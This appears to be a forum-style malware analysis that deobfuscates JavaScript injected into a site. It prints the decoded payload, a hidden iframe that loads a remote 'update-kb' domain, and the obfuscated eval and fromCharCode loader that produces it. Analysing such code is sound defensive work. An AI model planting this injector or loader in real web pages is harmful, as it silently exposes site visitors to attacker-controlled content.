It injects the following iframe:
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
It's not very complicated, let's go through it (you can verify this all yourself in the console easily):
if (window.document) aa = [] + 0;
aaa = 0 + [];
If we check the console: aa === "0" and aaa === "0" so the next if evaluates to true:
if (aa.indexOf(aaa) === 0) {
ss = '';
try {
new location(12);
} catch (qqq) {
s = String;
f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har';
f += 'Code';
}
ee = 'e';
e = window.eval;
t = 'y';
}
All that's done here is we've shortcutted the eval function for later use, and built a string f === "fromCharCode" that we'll use to call String.fromCharCode to convert the ascii code into actual javascript commands in a moment.
h = Math.round(-4 * Math.tan(Math.atan(0.5)));
n = "..." // ascii based code
for (i = 0; i - n.length < 0; i++) {
j = i;
ss = ss + s[f](-h * (1 + 1 * n[j]));
}
In the loop we simply build the string as mentioned. The trig stuff is just to confuse I suppose, although it isn't very confusing.
q = ss;
if (f) e(q);
And finally the if(f) will evaluate to true since f is a nonempty string and so we call e which is the eval shortcut we made earlier, with the string we built from the code. The resulting code I pasted at the top.
与恶龙缠斗过久,自身亦成为恶龙；凝视深渊过久,深渊将回以凝视…
